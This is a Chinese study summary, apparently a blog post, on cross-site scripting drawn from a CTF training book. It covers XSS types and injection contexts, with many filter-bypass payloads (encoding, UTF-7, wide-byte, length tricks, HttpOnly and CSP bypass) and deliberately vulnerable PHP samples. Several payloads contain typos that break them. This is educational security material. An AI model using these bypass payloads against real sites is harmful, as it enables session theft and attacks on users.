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[网络协议]《CTF特训营》学习总结——跨站脚本攻击（XSS）

一、基本介绍

跨站脚本攻击简称XSS，是一种网站应用程序漏洞，是代码注入漏洞的一种，攻击者可以通过这个漏洞向网页中注入恶意代码，导致用户浏览器加载网页、渲染HTML文档时执行攻击者代码。

二、分类

1.成因分类

反射型XSS，存储型XSS，DOM型XSS

2.输出点分类

输出在HTML属性中，输出在CSS代码中，输出在JavaScript中

三、介绍

1.反射型XSS漏洞

XSS代码作为客户端输入的内容提交给服务端，服务端解析后，在响应内容中返回输入的XSS代码，最终在浏览器解释器执行，原型如下：

<?php
echo 'your input:' . $_GET[' input '];
?>

客户端输入的input值未经过任何过滤便直接输出，所以攻击者可以提交

http://csdn.com/xss.php?input=<script>alter(/xss/)</script>

在服务端对客户端输入的内容进行解析后，echo语句会将客户端输入的代码完整地输出到HTTP响应中，浏览器解析并执行。

2.存储型XSS漏洞

在于提交的XSS代码是否会存储在服务端，下次请求该网页时是否需要再次提交XSS代码。存储型XSS典型应用有留言板，在线聊天室，邮件服务等，攻击者提交包含XSS代码的留言后，服务端会将其存储与数据库中，其他用户访问网页查看留言时，服务端将从数据库中查询已有的留言并输出在HTTP响应中，原型如下：

<html>
<head>
     <title>GuestBook v1.0</title>
     <meta charset="utf-8">
</head>
<body>
<form method = "post">
     昵称：<input type="text" name="nickname"><br>
     内容：<textarea name="content"></textarea><br>
     <input type="submin" name="submit" value="提交留言">
</form>
<hr>
<?php>
      $conn = mysql_connect("localhost","root","root");
      if (! $conn) {
            die('could not connect: ' . mysql_error());
      }
      mysql_select_db("guestbook",$conn);
      if (isset($_POST['submit'])) {
           $nickname = $_POST['nickname'];
           $content = $_POST['content'];
                mysql_query("INSERT INTO guestbook (nickname,content) VALUES ('Snickname', '$content')");
      }
      $result = mysql_query("SELECT * FROM guestbook");
      while(&row = mysql_fetch_array($result)) {
            echo $ row['nickname'] . ":" . $row['content'] . '<br>';
      }
      mysql_close($conn);
  ?>
</body>
</html>

攻击者提交留言<script>alter(/xss/)</script>后，服务端存储留言，其他用户访问网页时执行恶意代码。

3.DOM型XSS漏洞

DOM XSS的XSS代码不需要在服务端解析响应的直接参与，触发XSS的是浏览器的DOM解析，原型如下：

<html>
<head>
      <title>DOM XSS</title>
      <meta charset="utf-8">
</head>
<body>
       <div id="area"></div>
       <script>
               document.getElementByID("area").innerHTML = unescape(location.hash);
       </script>
</body>
</html>

代码中服务端未作任何操作，而客户端得javascript代码动态地将location.hash赋给:

document.getElementByID("area").innerHTML

导致了这个DOM XSS，使用方法如下：

http://csdn.com/dom.html#<img src=x οnerrοr='alter(/xss/)'>

4.输出在HTML标签中

原型如下：

<input name="user" values="{{your input}}"/>

XSS得payload输出在HTML属性中时，攻击者需要闭合相应得HTML属性后注入新的属性，或者在闭合标签后直接注入标签，如输入：

" onclick="alert(/xss/)

闭合前面得value属性，注入新的得onclick属性，则会输出：

<input name = "user" value="" onclick="alert(/xss/)"/>

或者输入

"><script>alert(/xss/)</script>

直接闭合input标签，注入新的script标签，则会输出：

<input name="user" value=""><script>alert(/xss/)</script/>"/>

5.输出在CSS代码中

原型如下：

<style tpye="text/css">
 body {
     color: {{your input}};
}
 </style>

XSS攻击payload输出在CSS代码中时，攻击者需要闭合相应的CSS代码，如输入：

#000;background-image: url('javascript:alert(/xss/)')

闭合前面的color属性，注入background-image属性，则会输出：

<style tpye="text/css">
body {
    color: #000; background-image: url('javascript:alert(/xss/)');
}
</style>

6.输出在Javascript代码中

原型如下：

<script>
  var name='{{your input}}';
</script>

XSS攻击payload输出在javascript代码中时，攻击者需要闭合相应的javascript代码，如输入：

'+alert(/xss/)+'

闭合前面的单引号，注入攻击代码，则会输出：

<script>
var name=''+alert(/xss/)++'';
</script>

四、防护与绕过

1.特定标签过滤

部分开发者认为过滤掉危险标签：script、iframe等就会到时脚本无法执行，其实任何一种标签，无论是否合法，都可以构造处XSS代码，比如：

<not_real_tag onclick="alert(/xss/)">click me</not_real_tag>

如果输出点HTML标签的属性中或在JavaScript代码中，那么攻击者可以简单地闭合，拼接属性或JavaScript代码而不需要引入任何新标签可以执行XSS代码。

同时，HTML5也带来了部分新的标签，容易被开发者忽略，比如video标签。

<video><source onerroe="alert(/xss/)">

2.事件过滤

很多时候，开发者会过滤掉许多HTML标签的事件属性，这时需要对所有可利用的时间属性进行遍历。

还有一些标签属性本身不属于事件属性，但是可以用于执行JavaScript代码，比如JavaScript伪协议。

<a herf="javascript:alert(/xss/)">click me</a>

HTML5也带来了一些新的属性，可以用于对时间过滤进行绕过操作，例如：

1.<details open ontoggle="alert(/xss/)">
2.<from><button formaction="javascript:alert(/x/)">x</button>
....

3.敏感关键字（字符）过滤

关键字过滤大部分是针对敏感变量或者函数而进行的，如：cookie、eval等。这部分的过滤可以通过字符串的拼接、编码解码等方法绕过。

①字符串拼接与混淆

JavaScript中的对象方法可通过数组的方式进行调用，如调用alter函数，可以使用如下方式：

window['alert'](/xss/);

可以看到，数组下标是想调用函数名字的字符串，既然是字符串，那么自然就可以通过拼接方式进行混淆，代码如下：

window['al'+'ert'](/xss/)

还可以使用JavaScript自带的base64编码解码函数来实现字符串过滤的绕过，btoa函数可以将字符串编码base64字符串，atob函数可以将base64字符串还原，这时利用如下代码也可以实现alter(/xss/)相同的效果。

window[atob("YWx1"+"cnQ")](/xss/)

②编码解码

基于字符串的代码混淆不仅可以通过字符拼接的方式来实现，还可以通过各种编码、解码来实现。XSS漏洞常用的编码方式如下：

HTML进制编码：10,16进制

CSS进制编码：兼容HTML中的进制表现，10,16进制

JavaScript进制编码：8,16进制，unicode编码，ASCII

URL编码

JSFuck编码

③location.*、window.name

既然开发者会对输入的敏感关键字进行过滤，那么可以将XSS代码放置于其他不被浏览器提交至服务端的部分，如：location.*、window.name等处。

location.*的构造如下：

http://csdn.com/xss.php?input=<input onfocus=outerHTML=decodeURI(location hash)
>#<img src=x onerror=alert(/xss/)>

Window.name构造如下：

<iframe src="http://csdn.com/xss.php?input=%3Cinput%20onfous=location=window.name
%3E" name="javascript:alert(/xss/)"></ifname>

利用location对象结合字符串编码可以绕过很多基于关键字的过滤，也有一部分关键字过滤是针对敏感符号的过滤，如括号、空格、小数点等。

④过滤“.”

在JavaScript中，可以使用with关键字设置变量的作用域，利用此特性可以绕过对“.”的过滤：

with(document)alert(cookie);

⑤过滤“()”

在JavaScript中，可以通过绑定错误处理函数，使用throw关键字传递参数绕过对“（）”的过滤：

window.onerror=alert;throw 1;

⑥过滤空格

在标签属性间可使用换行符0x09、0x10、0x12、0x13、0x0a等字符代替空格绕过过滤：

http://csdn.com/xss.php?input=<img%0asrc=x%0aonerro=alert(/xss/)>

在标签名称和第一个属性间也可以使用“/”代替空格：

<input/onfocus=alert(/xss/)>

⑦svg标签

svg内部的标签和语句遵循规则是直接继承自XML而不是HTML，区别在于svg内部的script标签中可以允许存在一部分进制或编码后的字符（比如实体编码）：

http"//csdn.com/xss.php?input=1"><svg><script>alter%26%23x28;1%26%23x29
</script></svg>

4.字符集编码导致的绕过

①古老的UTF-7与US-ASCII

在没有通过Content-Type或者meta标签设置字符集时，如果IE的编码设置为自动检测，那么它会根据一些BOM字符来判断当前的字符集（现在已经不适用）：

<html>
<head><title>UTF-7</title></head>
<body>
     +ADw-script+AD4-alert(/xss/)+ADw-/script+AD4-
</body>
</html>

另外一种情况就是，虽然IE没有勾选自动检测字符集的设置，但可以通过制作一个字符集为UTF-7的页面，并使用iframe标签来调用目标页面，利用字符集继承漏洞来实现字符集的设定，如：

<meta http-equiv='content-type' content='text/html;charset=UTF-7'>
<iframe src='http://csdn.com/xss.php?input=%2BADw-script%2BAD4-alter(/xss/)%2BADw-
%2Fscript%2BAD4-'></iframe>

但是这种基于iframe的跨域字符集继承漏洞已被修复，当前的情况是：继承的大前提是必须同域。

如果输出点是在title标签之内，meta标签之前，且字符集是由meta标签所指定的，那么仍可通过如下方式注入meta标签指定字符集来利用XSS漏洞，原型如下：

<html>
  <head>
    <title>{{your input}}</title>
    <meta http-equiv="content-type" content="text/html;charset=UTF-8">
  </head>
</html>

在title标签中注入如下代码：

</title><meta charset="utf-7">+ADw-script+AD4-alert(/xss/)+ADw-/script+AD4-：

最终可以构造处：

<html>
   <head>
        <title></title><meta charset="utf-7">+ADw-script+AD4-alert(1)+ADw-/script
+AD4-<title>
        <meta http-equiv="content-type" content="text/html;charset=UTF-8">
   <head>
</html>

基于US-ACSCII字符集合的XSS漏洞与基于UTF-7的XSS漏洞很相似，代码如下：

<html>
   <head>
     <meta http-equiv="content=type" content="text/html;charset=us=ascii">
   </head>
   <body>
      シscriprpt セ alert(1) シ/script セ
   </body>
</html>

②宽字节

考虑如下代码：

<html>
  <head>
     <title>XSS</title>
     <meta charset="gb2312">
</head>
<body>
   <script>
   var q="<?php echo str_replace('</','<\/',addslashes($_GET['input']));?>";
   </script>
 </body>
</html>

这段代码通过str_replace和addslashes对输入进行过滤，而这里可以使用宽字节进行绕过，payload如下：

http://csdn.com/xss.php?input=%d5%22;alert(1);//

5.长度限制

部分输入点会限制输入字符的数量，这时就需要使XSS代码尽量短小

①window.name和location.*

window.name和location.*都可以通过将代码放置在别处以减小输入点代码量，如：

<iframe scr="http://csdn.com/xss.php?input=%3Cinput%20onfoucus=eval(window.name)
%3E"name="alert(/xss/)"><iframe>

②第三方库工厂函数

诸如jQuery等等三方JavaScript库大部分都会提供相应的工厂函数，如jQuery中的“$（）”，它会自动构造标签，并且执行其中的代码：

<iframe scr="http://csdn.com/xss.php?input=%3Cinput%20onfocus=$(window.name)
%3E"name="<img scr='x' onerror=alert(/xss/) />"/>

③注释

在一些环境下可以使用注释来绕过长度限制。具体操作是将XSS代码分为多个阶段，在每个阶段的代码前后添加注释符号，依次注入XSS代码，这样不同阶段的代码就可以组合到一起了，如下所示：

stage 1:<script>/*
stage 2:*/alert(1)/*
stage 3:*/</script>

6.HttpOnly绕过

这是一个cookie的一个安全属性，设置后则可以在XSS漏洞发生时避免JavaScript读取到cookie，但即使设置了httponly属性，也仍有方法获取到cookie值。

①CVE-2012-0053

Apache服务器2.2.0-2.2.21版本存在一个漏洞CVE-2012-0053：攻击者可以通过向网站植入超大的cookie，令其HTTP头超过Apache的最大请求长度（4192字节），使得Apache返回400错误，状态页中包含了HttpOnly保护的cookie。

②PHPINFO页面

无论是否设置HttpOnly属性，phpinfo（）函数都会输出当前请求上下文的cookie信息。如果目标网站存在phpinfo页面，就可以通过XMLHttpRequest请求该页面获取cookie信息。

③Flash/Java

安全团队seckb在2012年提出，通过Flash、Java的一些API可以获取到HttpOnly cookie，这种情况可以归结为客户端信息泄露。

7.XSS Auditor绕过

反射型XSS漏洞作为一种最容易发现和挖掘的XSS漏洞，但是由于XSS Auditor的出现，使反射型XSS漏洞的作用被逐步弱化，XSS Auditor通过检查输入的内容判断该内容是否在输出中出现，如果符合XSS Auditor的过滤条件，则会直接阻止脚本执行。

8.内容安全策略（CSP）绕过

CSP是目前最主要的web安全保护机制之一，这个功能可以有效地帮助开发着降低网站遭受XSS漏洞攻击的可能性，开发者可以创建并强制部署一些安全管理规则，规定网站可以获取或者加载的内容。

CSP以白名单的机制来管理网站要加载或者执行的资源，在网页中，这样的策略是通过HTTP头信息或者meta标签来定义的，虽然这个策略可以防止攻击者从外部网站跨站加载恶意代码，但是CSP是不能防止数据泄露的。

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